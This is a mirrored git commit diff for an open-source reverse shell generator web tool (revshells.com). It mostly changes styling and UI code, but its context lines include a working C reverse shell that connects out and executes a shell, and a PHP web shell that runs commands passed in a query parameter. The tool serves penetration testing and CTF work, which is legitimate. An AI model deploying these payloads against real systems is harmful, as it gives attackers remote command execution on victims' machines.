mirror of
https://github.com/0dayCTF/reverse-shell-generator.git
synced 2024-12-18 19:06:09 +00:00
added msfvenom and bind shells
This commit is contained in:
parent
70592423f3
commit
37bfc50249
@ -7,7 +7,7 @@
|
||||
}
|
||||
|
||||
.highlighted-parameter {
|
||||
color: #c0c0ba;
|
||||
color: #426992;
|
||||
font-weight: bold;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
2
css/dark-mode.min.css
vendored
2
css/dark-mode.min.css
vendored
@ -1 +1 @@
|
||||
.prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em}.highlighted-parameter{color:#c0c0ba;font-weight:700;font-size:1em}.highlighted-warning{color:red;font-weight:700}.custom-switch label{cursor:pointer;user-select:none}.nav-tabs{border-bottom:none!important}.nav-tabs .nav-link:hover{background-color:#375a7f}.nav-tabs .nav-link.active{background-color:#375a7f}_:-ms-fullscreen,:root body{overflow-y:scroll}#listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75)}#reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}#bind-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}#msfvenom-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}.custom-select{background-color:#646464;color:#fff}.container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(0,0,0,.75);height:100%!important}h2{color:#fff;text-align:center}.pre-wrap{white-space:pre-wrap}.card-body{max-height:40rem}.list-group-item-action:focus,.list-group-item-action:hover,.list-group-item.active{background-color:#375a7f}
|
||||
.prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em}.highlighted-parameter{color:#426992;font-weight:700;font-size:1em}.highlighted-warning{color:red;font-weight:700}.custom-switch label{cursor:pointer;user-select:none}.nav-tabs{border-bottom:none!important}.nav-tabs .nav-link:hover{background-color:#375a7f}.nav-tabs .nav-link.active{background-color:#375a7f}_:-ms-fullscreen,:root body{overflow-y:scroll}#listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75)}#reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}#bind-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}#msfvenom-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}.custom-select{background-color:#646464;color:#fff}.container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(0,0,0,.75);height:100%!important}h2{color:#fff;text-align:center}.pre-wrap{white-space:pre-wrap}.card-body{max-height:40rem}.list-group-item-action:focus,.list-group-item-action:hover,.list-group-item.active{background-color:#375a7f}
|
||||
|
99
index.html
99
index.html
@ -14,23 +14,20 @@
|
||||
<link rel="stylesheet" href="css/light-mode.min.css">
|
||||
<meta name="description" content="Reverse Shell generator with a ton of functionality." />
|
||||
<meta name="title" content="Online - Reverse Shell Generator">
|
||||
<meta name="description" content="Reverse Shell generator with a ton of functionality.">
|
||||
|
||||
<!-- Open Graph / Facebook -->
|
||||
<meta property="og:type" content="website">
|
||||
<meta property="og:url" content="https://www.revshells.com/">
|
||||
<meta property="og:title" content="Online - Reverse Shell Generator">
|
||||
<meta property="og:description" content="Reverse Shell generator with a ton of functionality.">
|
||||
<meta property="og:image"
|
||||
content="https://user-images.githubusercontent.com/44453666/109582314-ef7f9e00-7acb-11eb-9c84-f8436e0022e9.png">
|
||||
|
||||
content="https://user-images.githubusercontent.com/58673953/111243529-9d646f80-85d7-11eb-986c-9842747dc2e7.png">
|
||||
<!-- Twitter -->
|
||||
<meta property="twitter:card" content="summary_large_image">
|
||||
<meta property="twitter:url" content="https://www.revshells.com/">
|
||||
<meta property="twitter:title" content="Online - Reverse Shell Generator">
|
||||
<meta property="twitter:description" content="Reverse Shell generator with a ton of functionality.">
|
||||
<meta property="twitter:image"
|
||||
content="https://user-images.githubusercontent.com/44453666/109582314-ef7f9e00-7acb-11eb-9c84-f8436e0022e9.png">
|
||||
content="https://user-images.githubusercontent.com/58673953/111243529-9d646f80-85d7-11eb-986c-9842747dc2e7.png">
|
||||
|
||||
<!-- GitHub Ribbon -->
|
||||
<a href="https://github.com/0dayCTF/reverse-shell-generator" class="github-corner"
|
||||
@ -219,10 +216,10 @@
|
||||
<a class="nav-link" id="msfvenom-tab" data-toggle="tab" href="#msfvenom" role="tab"
|
||||
aria-controls="msfvenom" aria-selected="false">MSFVenom</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<!-- <li class="nav-item">
|
||||
<a class="nav-link disabled" id="settings-tab" data-toggle="tab" href="#settings" role="tab"
|
||||
aria-controls="settings" aria-selected="false" aria-disabled="true">Settings</a>
|
||||
</li>
|
||||
</li> -->
|
||||
</ul>
|
||||
|
||||
<div class="tab-content">
|
||||
@ -314,14 +311,28 @@
|
||||
<!-- /Advanced section -->
|
||||
|
||||
<div class="row justify-content-end mr-1">
|
||||
<!-- Auto-copy switch -->
|
||||
<div class="custom-control custom-switch mt-2 mr-3" data-toggle="tooltip"
|
||||
<!-- Toasts for Reverse Shell Auto Copy -->
|
||||
<div id="clipboard-toast" class="toast position-fixed text-white" data-delay="1200"
|
||||
style="bottom: 16px; left: 50%; transform: translateX(-50%); background: rgba(32, 32, 32, .85)">
|
||||
<div class="toast-body">
|
||||
Copied to clipboard
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="clipboard-failure-toast" class="toast position-fixed text-white" data-delay="1200"
|
||||
style="bottom: 16px; left: 50%; transform: translateX(-50%); background: rgba(255, 0, 0, .85)">
|
||||
<div class="toast-body">
|
||||
Error copying to clipboard
|
||||
</div>
|
||||
</div>
|
||||
<!-- Auto-copy switch -->
|
||||
<!-- <div class="custom-control custom-switch mt-2 mr-3" data-toggle="tooltip"
|
||||
title="Auto-copy to clipboard when selecting a new shell type">
|
||||
<input id="auto-copy-switch" class="custom-control-input" type="checkbox"
|
||||
checked>
|
||||
<label for="auto-copy-switch" class="custom-control-label small pr-2 pb-1"
|
||||
style="padding-top: 2px">Auto-copy</label>
|
||||
</div>
|
||||
</div> -->
|
||||
<!-- Copy button -->
|
||||
<button id="copy-reverse-shell-command" data-toggle="tooltip"
|
||||
title="Copy to clipboard" type="button" class="btn btn-primary float-right">
|
||||
@ -448,20 +459,7 @@
|
||||
<!-- /NEW -->
|
||||
</div>
|
||||
|
||||
<!-- Toasts -->
|
||||
<div id="clipboard-toast" class="toast position-fixed text-white" data-delay="1200"
|
||||
style="bottom: 16px; left: 50%; transform: translateX(-50%); background: rgba(32, 32, 32, .85)">
|
||||
<div class="toast-body">
|
||||
Copied to clipboard
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="clipboard-failure-toast" class="toast position-fixed text-white" data-delay="1200"
|
||||
style="bottom: 16px; left: 50%; transform: translateX(-50%); background: rgba(255, 0, 0, .85)">
|
||||
<div class="toast-body">
|
||||
Error copying to clipboard
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- RSG data -->
|
||||
<script src="js/data.js"></script>
|
||||
@ -648,9 +646,9 @@
|
||||
|
||||
insertParameters: (command, encoder) => {
|
||||
return command
|
||||
.replace(encoder('{ip}'), rsg.escapeHTML(encoder(rsg.getIP())))
|
||||
.replace(encoder('{port}'), encoder(String(rsg.getPort())))
|
||||
.replace(encoder('{shell}'), encoder(shellSelect.value))
|
||||
.replaceAll(encoder('{ip}'), rsg.escapeHTML(encoder(rsg.getIP())))
|
||||
.replaceAll(encoder('{port}'), encoder(String(rsg.getPort())))
|
||||
.replaceAll(encoder('{shell}'), encoder(shellSelect.value))
|
||||
},
|
||||
|
||||
update: () => {
|
||||
@ -669,7 +667,7 @@
|
||||
}
|
||||
);
|
||||
|
||||
debugger;
|
||||
//debugger;
|
||||
|
||||
const documentFragment = document.createDocumentFragment()
|
||||
filteredItems.forEach((item, index) => {
|
||||
@ -688,9 +686,9 @@
|
||||
rsg.selectedValues[rsg.commandType] = name;
|
||||
rsg.update();
|
||||
|
||||
if (document.querySelector('#auto-copy-switch').checked) {
|
||||
rsg.copyToClipboard(reverseShellCommand.innerText)
|
||||
}
|
||||
// if (document.querySelector('#auto-copy-switch').checked) {
|
||||
// rsg.copyToClipboard(reverseShellCommand.innerText)
|
||||
// }
|
||||
}
|
||||
|
||||
selectionButton.innerText = name;
|
||||
@ -794,7 +792,7 @@
|
||||
document.querySelector('#listener-advanced-switch').addEventListener('change', rsg.updateSwitchStates);
|
||||
document.querySelector('#revshell-advanced-switch').addEventListener('change', rsg.updateSwitchStates);
|
||||
|
||||
setInterval(rsg.updateSwitchStates, 500) // fix switch changes in rapid succession
|
||||
setInterval(rsg.updateSwitchStates, 200) // fix switch changes in rapid succession
|
||||
|
||||
document.querySelector('#copy-listener').addEventListener('click', () => {
|
||||
rsg.copyToClipboard(listenerCommand.innerText)
|
||||
@ -834,23 +832,23 @@
|
||||
* @param {String} attribute - Attribute of element to apply localStorage value to
|
||||
*/
|
||||
const prepopulateElement = (key, element, attribute, options = null) => {
|
||||
// if (localStorage.getItem(key)) {
|
||||
// // TODO: Use switch/case instead
|
||||
// if (element.type === "text") {
|
||||
// element[attribute] = localStorage.getItem(key);
|
||||
// }
|
||||
if (localStorage.getItem(key)) {
|
||||
// TODO: Use switch/case instead
|
||||
if (element.type === "text") {
|
||||
element[attribute] = localStorage.getItem(key);
|
||||
}
|
||||
|
||||
// if (element.type === "checkbox") {
|
||||
// const isChecked = (localStorage.getItem(key) !== 'false');
|
||||
// element[attribute] = isChecked;
|
||||
// }
|
||||
if (element.type === "checkbox") {
|
||||
const isChecked = (localStorage.getItem(key) !== 'false');
|
||||
element[attribute] = isChecked;
|
||||
}
|
||||
|
||||
// if (element.nodeName === "SELECT") {
|
||||
// const selectedItem = options.find(option => option[attribute] === localStorage.getItem(key));
|
||||
// selectedItem.selected = true;
|
||||
// }
|
||||
if (element.nodeName === "SELECT") {
|
||||
const selectedItem = options.find(option => option[attribute] === localStorage.getItem(key));
|
||||
selectedItem.selected = true;
|
||||
}
|
||||
|
||||
// }
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
@ -902,20 +900,17 @@
|
||||
setLocalStorage(selectedItem, "shell", "value");
|
||||
});
|
||||
|
||||
autoCopySwitch.addEventListener("change", () => {
|
||||
setLocalStorage(autoCopySwitch, "auto-copy", "checked");
|
||||
});
|
||||
|
||||
|
||||
// autoCopySwitch.addEventListener("change", () => {
|
||||
// setLocalStorage(autoCopySwitch, "auto-copy", "checked");
|
||||
// });
|
||||
|
||||
// Popper tooltips
|
||||
$(function () {
|
||||
$('[data-toggle="tooltip"]').tooltip()
|
||||
});
|
||||
|
||||
|
||||
// TODO: add a random fifo for netcat mkfifo
|
||||
let randomId = Math.random().toString(36).substring(2, 4);
|
||||
//let randomId = Math.random().toString(36).substring(2, 4);
|
||||
</script>
|
||||
|
||||
<script src="js/light-mode-switch.min.js"></script>
|
||||
|
@ -80,7 +80,6 @@ const reverseShellCommands = withCommandType(
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
// fix
|
||||
"name": "C",
|
||||
"command": "#include <stdio.h>\n#include <sys/socket.h>\n#include <sys/types.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n\nint main(void){\n int port = {port};\n struct sockaddr_in revsockaddr;\n\n int sockt = socket(AF_INET, SOCK_STREAM, 0);\n revsockaddr.sin_family = AF_INET; \n revsockaddr.sin_port = htons(port);\n revsockaddr.sin_addr.s_addr = inet_addr(\"{ip}\");\n\n connect(sockt, (struct sockaddr *) &revsockaddr, \n sizeof(revsockaddr));\n dup2(sockt, 0);\n dup2(sockt, 1);\n dup2(sockt, 2);\n\n char * const argv[] = {\"{shell}\", NULL};\n execve(\"{shell}\", argv, NULL);\n\n return 0; \n}",
|
||||
"meta": ["linux", "windows", "mac"]
|
||||
@ -116,7 +115,6 @@ const reverseShellCommands = withCommandType(
|
||||
"meta": ["linux", "windows", "mac"]
|
||||
},
|
||||
{
|
||||
// fix
|
||||
"name": "PHP cmd",
|
||||
"command": "<html>\n<body>\n<form method=\"GET\" name=\"<?php echo basename($_SERVER[\'PHP_SELF\']); ?>\">\n<input type=\"TEXT\" name=\"cmd\" id=\"cmd\" size=\"80\">\n<input type=\"SUBMIT\" value=\"Execute\">\n<\/form>\n<pre>\n<?php\n if(isset($_GET[\'cmd\']))\n {\n system($_GET[\'cmd\']);\n }\n?>\n<\/pre>\n<\/body>\n<script>document.getElementById(\"cmd\").focus();<\/script>\n<\/html>",
|
||||
"meta": ["linux", "windows", "mac"]
|
||||
|
Loading…
Reference in New Issue
Block a user